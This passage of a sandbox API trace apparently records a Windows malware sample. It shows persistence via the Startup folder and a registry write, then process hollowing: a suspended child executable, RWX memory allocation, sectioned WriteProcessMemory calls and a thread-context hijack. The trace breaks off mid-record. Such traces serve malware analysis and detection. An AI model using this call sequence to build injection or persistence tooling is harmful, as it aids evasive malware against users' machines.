	[0050.934] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780fb40 | out: encoders=0x780fb40) returned 0x0
	[0050.935] GdipBitmapLockBits (bitmap=0x7941488, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28e6334) returned 0x0
	[0050.935] GdipBitmapUnlockBits (bitmap=0x7941488, lockedBitmapData=0x28e6334) returned 0x0
	[0050.935] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.935] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a27030 | out: encoders=0x7a27030) returned 0x0
	[0050.935] GdipBitmapLockBits (bitmap=0x79417d0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28e9214) returned 0x0
	[0050.935] GdipBitmapUnlockBits (bitmap=0x79417d0, lockedBitmapData=0x28e9214) returned 0x0
	[0050.935] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.936] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a27830 | out: encoders=0x7a27830) returned 0x0
	[0050.936] GdipBitmapLockBits (bitmap=0x7941b18, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28ec0f4) returned 0x0
	[0050.936] GdipBitmapUnlockBits (bitmap=0x7941b18, lockedBitmapData=0x28ec0f4) returned 0x0
	[0050.936] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.936] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a27830 | out: encoders=0x7a27830) returned 0x0
	[0050.937] GdipBitmapLockBits (bitmap=0x7941e60, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28eefd4) returned 0x0
	[0050.937] GdipBitmapUnlockBits (bitmap=0x7941e60, lockedBitmapData=0x28eefd4) returned 0x0
	[0050.937] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.937] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a27830 | out: encoders=0x7a27830) returned 0x0
	[0050.938] GdipBitmapLockBits (bitmap=0x79421a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28f1eb4) returned 0x0
	[0050.938] GdipBitmapUnlockBits (bitmap=0x79421a8, lockedBitmapData=0x28f1eb4) returned 0x0
	[0050.938] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.938] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a29830 | out: encoders=0x7a29830) returned 0x0
	[0050.939] GdipBitmapLockBits (bitmap=0x79424f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28f4d94) returned 0x0
	[0050.939] GdipBitmapUnlockBits (bitmap=0x79424f0, lockedBitmapData=0x28f4d94) returned 0x0
	[0050.939] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.939] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a29830 | out: encoders=0x7a29830) returned 0x0
	[0050.939] GdipBitmapLockBits (bitmap=0x7942838, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28f7c74) returned 0x0
	[0050.939] GdipBitmapUnlockBits (bitmap=0x7942838, lockedBitmapData=0x28f7c74) returned 0x0
	[0050.940] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.940] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a29830 | out: encoders=0x7a29830) returned 0x0
	[0050.940] GdipBitmapLockBits (bitmap=0x7942b80, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28fab54) returned 0x0
	[0050.940] GdipBitmapUnlockBits (bitmap=0x7942b80, lockedBitmapData=0x28fab54) returned 0x0
	[0050.940] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.940] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7a29830 | out: encoders=0x7a29830) returned 0x0
	[0050.941] GdipBitmapLockBits (bitmap=0x7942ec8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28fda34) returned 0x0
	[0050.941] GdipBitmapUnlockBits (bitmap=0x7942ec8, lockedBitmapData=0x28fda34) returned 0x0
	[0051.605] CoTaskMemAlloc (cb=0x20c) returned 0x86aa20
	[0051.605] SHGetFolderPathW (in: hwnd=0x0, csidl=11, hToken=0x0, dwFlags=0x0, pszPath=0x86aa20 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x0
	[0051.606] CoTaskMemFree (pv=0x86aa20) 
	[0051.606] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x4de6d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3e
	[0051.606] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x4de764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x4f
	[0051.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4debc0) returned 1
	[0051.606] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup"), fInfoLevelId=0x0, lpFileInformation=0x4dec3c | out: lpFileInformation=0x4dec3c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x8e851e60, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x8e851e60, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4debbc) returned 1
	[0051.629] SleepEx (dwMilliseconds=0x61a8, bAlertable=1) returned 0x0
	[0061.649] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="", ulOptions=0x0, samDesired=0x3, phkResult=0x4deba4 | out: phkResult=0x4deba4*=0x80000001) returned 0x0
	[0061.652] RegQueryValueExW (in: hKey=0x80000001, lpValueName="", lpReserved=0x0, lpType=0x4debcc, lpData=0x0, lpcbData=0x4debc8*=0x0 | out: lpType=0x4debcc*=0x0, lpData=0x0, lpcbData=0x4debc8*=0x0) returned 0x2
	[0061.655] RegSetValueExW (in: hKey=0x80000001, lpValueName="", Reserved=0x0, dwType=0x1, lpData=" -boot", cbData=0xe | out: lpData=" -boot") returned 0x0
	[0062.167] CoCreateGuid (in: pguid=0x4dd480 | out: pguid=0x4dd480*(Data1=0xf1226372, Data2=0xee84, Data3=0x4614, Data4=([0]=0x9e, [1]=0x91, [2]=0x17, [3]=0x44, [4]=0x89, [5]=0x25, [6]=0xc9, [7]=0x25))) returned 0x0
	[0062.200] CoTaskMemAlloc (cb=0x20e) returned 0x8c37b8
	[0062.201] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x8c37b8 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0062.201] CoTaskMemFree (pv=0x8c37b8) 
	[0062.507] CoCreateGuid (in: pguid=0x4dd480 | out: pguid=0x4dd480*(Data1=0x15deff42, Data2=0xe851, Data3=0x4fd6, Data4=([0]=0xa7, [1]=0x26, [2]=0x6a, [3]=0x49, [4]=0xf0, [5]=0x5b, [6]=0x2f, [7]=0xb1))) returned 0x0
	[0062.512] CoTaskMemAlloc (cb=0x20e) returned 0x8c37b8
	[0062.512] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x8c37b8 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0062.512] CoTaskMemFree (pv=0x8c37b8) 
	[0062.526] CoCreateGuid (in: pguid=0x4dd480 | out: pguid=0x4dd480*(Data1=0x9ff1ba9, Data2=0xa95a, Data3=0x494b, Data4=([0]=0xad, [1]=0xf1, [2]=0xa7, [3]=0x3c, [4]=0x16, [5]=0x14, [6]=0x5, [7]=0x9f))) returned 0x0
	[0062.529] CoTaskMemAlloc (cb=0x20e) returned 0x7789388
	[0062.530] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x7789388 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0062.530] CoTaskMemFree (pv=0x7789388) 
	[0062.543] CoCreateGuid (in: pguid=0x4dd480 | out: pguid=0x4dd480*(Data1=0x8c1dc3dc, Data2=0xba09, Data3=0x4877, Data4=([0]=0xbb, [1]=0x30, [2]=0x59, [3]=0xa8, [4]=0xa1, [5]=0x5c, [6]=0x85, [7]=0x90))) returned 0x0
	[0062.545] CoTaskMemFree (pv=0x7a22070) 
	[0062.583] CoTaskMemFree (pv=0x77d8e20) 
	[0062.592] CoCreateGuid (in: pguid=0x4dd480 | out: pguid=0x4dd480*(Data1=0x89bd0a53, Data2=0x2dd2, Data3=0x485e, Data4=([0]=0xbf, [1]=0xd9, [2]=0xfa, [3]=0xd5, [4]=0xc2, [5]=0x72, [6]=0x6, [7]=0xa4))) returned 0x0
	[0062.596] CoTaskMemFree (pv=0x77c0fc8) 
	[0062.606] CoCreateGuid (in: pguid=0x4dd480 | out: pguid=0x4dd480*(Data1=0xc39c89c5, Data2=0xf6b7, Data3=0x452d, Data4=([0]=0x84, [1]=0x73, [2]=0x66, [3]=0x54, [4]=0x9b, [5]=0x67, [6]=0xf, [7]=0x49))) returned 0x0
	[0062.608] CoTaskMemFree (pv=0x77c1260) 
	[0062.662] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0063.668] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0064.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe\"", cchWideChar=56, lpMultiByteStr=0x4de83c, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe\"Xì\x11\x02C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpUsedDefaultChar=0x0) returned 56
	[0064.701] CreateProcessA (in: lpApplicationName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4de90c*(cb=0xa0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4dec00 | out: lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe\"", lpProcessInformation=0x4dec00*(hProcess=0x2ac, hThread=0x2a8, dwProcessId=0x140, dwThreadId=0x7a8)) returned 1
	[0064.722] CoTaskMemFree (pv=0x0) 
	[0064.725] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0065.742] GetThreadContext (in: hThread=0x2a8, lpContext=0x242695c | out: lpContext=0x242695c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x2143ee, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
	[0065.742] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0066.756] ReadProcessMemory (in: hProcess=0x2ac, lpBaseAddress=0x7efde008, lpBuffer=0x4debf0, nSize=0x4, lpNumberOfBytesRead=0x4dec34 | out: lpBuffer=0x4debf0*, lpNumberOfBytesRead=0x4dec34*=0x4) returned 1
	[0066.756] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0067.770] VirtualAllocEx (hProcess=0x2ac, lpAddress=0x400000, dwSize=0x88000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000
	[0067.771] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0068.784] WriteProcessMemory (in: hProcess=0x2ac, lpBaseAddress=0x400000, lpBuffer=0x4153328*, nSize=0x200, lpNumberOfBytesWritten=0x4dec34 | out: lpBuffer=0x4153328*, lpNumberOfBytesWritten=0x4dec34*=0x200) returned 1
	[0068.786] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0069.793] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0070.824] WriteProcessMemory (in: hProcess=0x2ac, lpBaseAddress=0x402000, lpBuffer=0x3c2fd70*, nSize=0x7ec00, lpNumberOfBytesWritten=0x4dec34 | out: lpBuffer=0x3c2fd70*, lpNumberOfBytesWritten=0x4dec34*=0x7ec00) returned 1
	[0070.830] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0071.839] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0072.869] WriteProcessMemory (in: hProcess=0x2ac, lpBaseAddress=0x482000, lpBuffer=0x2427334*, nSize=0x3200, lpNumberOfBytesWritten=0x4dec34 | out: lpBuffer=0x2427334*, lpNumberOfBytesWritten=0x4dec34*=0x3200) returned 1
	[0072.870] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0073.881] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0074.895] WriteProcessMemory (in: hProcess=0x2ac, lpBaseAddress=0x486000, lpBuffer=0x242a740*, nSize=0x200, lpNumberOfBytesWritten=0x4dec34 | out: lpBuffer=0x242a740*, lpNumberOfBytesWritten=0x4dec34*=0x200) returned 1
	[0074.902] WriteProcessMemory (in: hProcess=0x2ac, lpBaseAddress=0x7efde008, lpBuffer=0x242a94c*, nSize=0x4, lpNumberOfBytesWritten=0x4dec34 | out: lpBuffer=0x242a94c*, lpNumberOfBytesWritten=0x4dec34*=0x4) returned 1
	[0074.904] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0075.952] SetThreadContext (hThread=0x2a8, lpContext=0x242695c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x480bbe, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, 